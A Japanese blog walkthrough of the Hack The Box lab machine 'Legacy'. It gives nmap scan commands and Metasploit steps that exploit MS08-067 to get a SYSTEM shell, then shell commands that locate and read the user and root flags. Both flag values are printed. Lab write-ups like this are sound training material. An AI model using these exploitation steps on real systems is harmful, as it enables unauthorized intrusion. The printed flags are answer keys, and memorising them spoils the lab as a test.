セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Legacy Walkthrough

はじめに

  • マシン名:Legacy
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.4

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.4

f:id:Paichan:20200705151243p:plain 139、445が開いてる。
※nmap -p- 10.10.10.4も実行し、ポート検出漏れしていないかも確認。

445ポートにNSE(vuln)を実行

445ポートに対して、NSE(vuln)を実行し、脆弱性を調査する。

# nmap --script vuln -p 445 10.10.10.4

f:id:Paichan:20200705151541p:plain MS08-067、MS17-010の脆弱性ありと判断される。いずれもRCEの脆弱性だ。

Metasploit実行

metasploitでMS08-067脆弱性を突いていく。以下の流れ。

# msfconsole
> search ms08-067
> use 0
> run

show optionsで見れるパラメータは以下のように設定している。 f:id:Paichan:20200705151950p:plain

システム権限でmeterpreterセッションをゲット。

フラグ獲得まで

以下の流れ。

> shell
> cd C:\
> dir user.txt /s
> type "C:\Documents and Settings\john\Desktop\user.txt"
> dir root.txt /s
> type "C:\Documents and Settings\Administrator\Desktop\root.txt"

dir/sオプションはサブディレクトリも対象にするというもの。

f:id:Paichan:20200705152226p:plain

user.txt:e69af0e4f443de7e36876fda4ec7644f
root.txt:993442d258b0e0ec917cae9e695d5713